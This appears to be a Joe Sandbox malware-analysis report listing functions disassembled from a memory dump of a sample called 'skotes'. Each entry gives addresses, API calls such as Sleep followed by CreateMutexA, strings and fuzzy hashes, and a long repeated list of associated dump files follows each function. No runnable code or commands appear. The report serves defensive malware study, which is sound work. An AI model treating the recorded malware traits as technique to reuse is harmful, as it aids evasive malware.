Source File: 00000002.00000002.2139236518.00000000006C1000.00000040.00000001.01000000.00000007.sdmp, Offset: 006C0000, based on PE: true

Associated: 00000002.00000002.2139204870.00000000006C0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2139236518.0000000000722000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2139343957.0000000000729000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2139366119.000000000072B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2139397070.0000000000737000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2139570698.0000000000892000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2139599711.0000000000895000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2139636636.00000000008AB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2139636636.00000000008B7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2139692832.00000000008BC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2139719779.00000000008BD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2139737199.00000000008BE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2139762891.00000000008BF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2139793433.00000000008C0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2139820096.00000000008C2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2139848259.00000000008CB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2139873438.00000000008CC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2139902860.00000000008CF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2139929743.00000000008D5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2139969872.00000000008EC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2139988684.00000000008ED000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2140015501.00000000008F5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2140057601.0000000000906000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2140088857.000000000091C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2140118842.0000000000922000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2140136841.0000000000923000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2140173681.0000000000927000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2140201170.000000000092E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2140231392.0000000000934000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2140261178.0000000000942000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2140290122.0000000000944000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2140319546.0000000000945000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2140351377.0000000000948000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2140381170.0000000000950000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2140460119.0000000000951000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2140485429.0000000000958000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2140521260.000000000095A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2140558303.000000000095B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2140593570.0000000000963000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2140641466.0000000000974000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2140675411.0000000000977000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2140695193.0000000000978000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2140721788.0000000000979000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2140749331.000000000097A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2140777619.000000000097C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2140777619.00000000009A3000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2140853206.00000000009BE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2140880243.00000000009BF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2140911782.00000000009D3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2140938404.00000000009D4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2140964553.00000000009D5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2140993103.00000000009DA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2141021980.00000000009DC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2141042278.00000000009EA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2141062054.00000000009EB000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6c0000_skotes.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID: T2r
API String ID: 1464230837-3348044575
Opcode ID: 22f96bbe76345f123d06fcbf391f38669125cfd87492fc8fd312bce8e1316c27
Instruction ID: a10f9a20ccf157b6926c90e2fd63985224ae9395e500fb3098ce947e6e459ee0
Opcode Fuzzy Hash: 22f96bbe76345f123d06fcbf391f38669125cfd87492fc8fd312bce8e1316c27
Instruction Fuzzy Hash: F0213D71759204DBF72467F89886F7DB2A3DF81308F24441EE144D73D1CB7A99818597

Function 006CA34F Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 100
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNELBASE(00000064), ref: 006CA963
CreateMutexA.KERNELBASE(00000000,00000000,00723254), ref: 006CA981

Strings

T2r, xrefs: 006CA970

Memory Dump Source

Source File: 00000002.00000002.2139236518.00000000006C1000.00000040.00000001.01000000.00000007.sdmp, Offset: 006C0000, based on PE: true

Associated: 00000002.00000002.2139204870.00000000006C0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2139236518.0000000000722000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2139343957.0000000000729000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2139366119.000000000072B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2139397070.0000000000737000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2139570698.0000000000892000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2139599711.0000000000895000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2139636636.00000000008AB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2139636636.00000000008B7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2139692832.00000000008BC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2139719779.00000000008BD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2139737199.00000000008BE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2139762891.00000000008BF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2139793433.00000000008C0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2139820096.00000000008C2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2139848259.00000000008CB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2139873438.00000000008CC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2139902860.00000000008CF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2139929743.00000000008D5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2139969872.00000000008EC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2139988684.00000000008ED000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2140015501.00000000008F5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2140057601.0000000000906000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2140088857.000000000091C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2140118842.0000000000922000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2140136841.0000000000923000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2140173681.0000000000927000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2140201170.000000000092E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2140231392.0000000000934000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2140261178.0000000000942000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2140290122.0000000000944000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2140319546.0000000000945000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2140351377.0000000000948000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2140381170.0000000000950000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2140460119.0000000000951000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2140485429.0000000000958000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2140521260.000000000095A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2140558303.000000000095B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2140593570.0000000000963000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2140641466.0000000000974000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2140675411.0000000000977000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2140695193.0000000000978000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2140721788.0000000000979000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2140749331.000000000097A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2140777619.000000000097C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2140777619.00000000009A3000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2140853206.00000000009BE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2140880243.00000000009BF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2140911782.00000000009D3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2140938404.00000000009D4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2140964553.00000000009D5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2140993103.00000000009DA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2141021980.00000000009DC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2141042278.00000000009EA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2141062054.00000000009EB000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6c0000_skotes.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID: T2r
API String ID: 1464230837-3348044575
Opcode ID: 0ed52a238e1b6b82678e2e44c5d6976de12c370686bb29456f9e077a50baa99b
Instruction ID: 611de5df150f1332c6eaceb092906d2a2426d7ec515a7c2f195397d35a97a757
Opcode Fuzzy Hash: 0ed52a238e1b6b82678e2e44c5d6976de12c370686bb29456f9e077a50baa99b
Instruction Fuzzy Hash: BE213A32B14248DBEB189BA8EC85B7CB7A3EBC1318F24422DE508D77D5C77999808652

Function 006FD82F Relevance: 1.5, APIs: 1, Instructions: 40
memoryCOMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RtlAllocateHeap.NTDLL(00000008,?,00000000,?,006FA813,00000001,00000364,00000006,000000FF,?,006FEE3F,?,00000004,00000000,?,?), ref: 006FD871

Memory Dump Source

Source File: 00000002.00000002.2139236518.00000000006C1000.00000040.00000001.01000000.00000007.sdmp, Offset: 006C0000, based on PE: true

Associated: 00000002.00000002.2139204870.00000000006C0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2139236518.0000000000722000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2139343957.0000000000729000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2139366119.000000000072B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2139397070.0000000000737000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2139570698.0000000000892000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2139599711.0000000000895000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2139636636.00000000008AB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2139636636.00000000008B7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2139692832.00000000008BC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2139719779.00000000008BD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2139737199.00000000008BE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2139762891.00000000008BF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2139793433.00000000008C0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2139820096.00000000008C2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2139848259.00000000008CB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2139873438.00000000008CC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2139902860.00000000008CF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2139929743.00000000008D5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2139969872.00000000008EC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2139988684.00000000008ED000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2140015501.00000000008F5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2140057601.0000000000906000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2140088857.000000000091C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2140118842.0000000000922000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2140136841.0000000000923000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2140173681.0000000000927000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2140201170.000000000092E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2140231392.0000000000934000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2140261178.0000000000942000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2140290122.0000000000944000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2140319546.0000000000945000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2140351377.0000000000948000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2140381170.0000000000950000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2140460119.0000000000951000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2140485429.0000000000958000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2140521260.000000000095A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2140558303.000000000095B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2140593570.0000000000963000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2140641466.0000000000974000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2140675411.0000000000977000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2140695193.0000000000978000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2140721788.0000000000979000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2140749331.000000000097A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2140777619.000000000097C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2140777619.00000000009A3000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2140853206.00000000009BE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2140880243.00000000009BF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2140911782.00000000009D3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2140938404.00000000009D4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2140964553.00000000009D5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2140993103.00000000009DA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2141021980.00000000009DC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2141042278.00000000009EA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2141062054.00000000009EB000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6c0000_skotes.jbxd

Yara matches

Similarity

API ID: AllocateHeap
String ID:
API String ID: 1279760036-0
Opcode ID: fa654f08c3674812dc2432e072f7b06124a03e6e87eeaf04f4d42f7613ee1c87
Instruction ID: d52ece1b0bfd38cbd5ca13e3f0683c4fdfa37083253e5b5a35401c61df1a69f7
Opcode Fuzzy Hash: fa654f08c3674812dc2432e072f7b06124a03e6e87eeaf04f4d42f7613ee1c87
Instruction Fuzzy Hash: 84F0E93161512CA6EB212A769C01BBF375BDF463F0B148025EF2497281DA20FC0185E0

Non-executed Functions

Function 006FCBDF Relevance: 9.1, APIs: 4, Strings: 1, Instructions: 320COMMON

Download Yara Rule

APIs

_strrchr.LIBCMT ref: 006FCC66

Strings

vo, xrefs: 006FCBE1

Memory Dump Source

Source File: 00000002.00000002.2139236518.00000000006C1000.00000040.00000001.01000000.00000007.sdmp, Offset: 006C0000, based on PE: true

Associated: 00000002.00000002.2139204870.00000000006C0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2139236518.0000000000722000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2139343957.0000000000729000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2139366119.000000000072B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2139397070.0000000000737000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2139570698.0000000000892000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2139599711.0000000000895000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2139636636.00000000008AB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2139636636.00000000008B7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2139692832.00000000008BC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2139719779.00000000008BD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2139737199.00000000008BE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2139762891.00000000008BF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2139793433.00000000008C0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2139820096.00000000008C2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2139848259.00000000008CB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2139873438.00000000008CC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2139902860.00000000008CF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2139929743.00000000008D5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2139969872.00000000008EC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2139988684.00000000008ED000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2140015501.00000000008F5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2140057601.0000000000906000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2140088857.000000000091C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2140118842.0000000000922000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2140136841.0000000000923000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2140173681.0000000000927000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2140201170.000000000092E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2140231392.0000000000934000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2140261178.0000000000942000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2140290122.0000000000944000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2140319546.0000000000945000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2140351377.0000000000948000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2140381170.0000000000950000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2140460119.0000000000951000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2140485429.0000000000958000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2140521260.000000000095A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2140558303.000000000095B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2140593570.0000000000963000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2140641466.0000000000974000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2140675411.0000000000977000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2140695193.0000000000978000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2140721788.0000000000979000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2140749331.000000000097A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2140777619.000000000097C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2140777619.00000000009A3000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2140853206.00000000009BE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2140880243.00000000009BF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2140911782.00000000009D3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2140938404.00000000009D4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2140964553.00000000009D5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2140993103.00000000009DA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2141021980.00000000009DC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2141042278.00000000009EA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2141062054.00000000009EB000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6c0000_skotes.jbxd

Yara matches

Similarity

API ID: _strrchr
String ID: vo
API String ID: 3213747228-1079588389
Opcode ID: b6ef493d185ecd6e05961dbd11159ec72a600f70796096a8f2b5786dd78cba64
Instruction ID: 781e3455bcf7cf3bafecd55fdf8943d0cfaaa71d9f39693f4d44b2eece119302
Opcode Fuzzy Hash: b6ef493d185ecd6e05961dbd11159ec72a600f70796096a8f2b5786dd78cba64
Instruction Fuzzy Hash: 61B1253290468D9FDB15CF28C981BFEBBE6EF45360F1441AAEA55EB341D6348D02CB64

Function 006C2EC0 Relevance: 7.8, APIs: 5, Instructions: 272COMMON

Download Yara Rule

APIs

__Mtx_unlock.LIBCPMT ref: 006C2F5F
__Mtx_unlock.LIBCPMT ref: 006C2FCC
__Cnd_broadcast.LIBCPMT ref: 006C2FE3
__Mtx_unlock.LIBCPMT ref: 006C30F5
__Mtx_unlock.LIBCPMT ref: 006C319B

Memory Dump Source

Source File: 00000002.00000002.2139236518.00000000006C1000.00000040.00000001.01000000.00000007.sdmp, Offset: 006C0000, based on PE: true

Associated: 00000002.00000002.2139204870.00000000006C0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2139236518.0000000000722000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2139343957.0000000000729000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2139366119.000000000072B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2139397070.0000000000737000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2139570698.0000000000892000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2139599711.0000000000895000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2139636636.00000000008AB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2139636636.00000000008B7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2139692832.00000000008BC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2139719779.00000000008BD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2139737199.00000000008BE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2139762891.00000000008BF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2139793433.00000000008C0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2139820096.00000000008C2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2139848259.00000000008CB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2139873438.00000000008CC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2139902860.00000000008CF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2139929743.00000000008D5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2139969872.00000000008EC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2139988684.00000000008ED000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2140015501.00000000008F5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2140057601.0000000000906000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2140088857.000000000091C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2140118842.0000000000922000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2140136841.0000000000923000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2140173681.0000000000927000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2140201170.000000000092E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2140231392.0000000000934000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2140261178.0000000000942000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2140290122.0000000000944000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2140319546.0000000000945000.00000080.00000001.01000000.00000007.sdmpDownload File
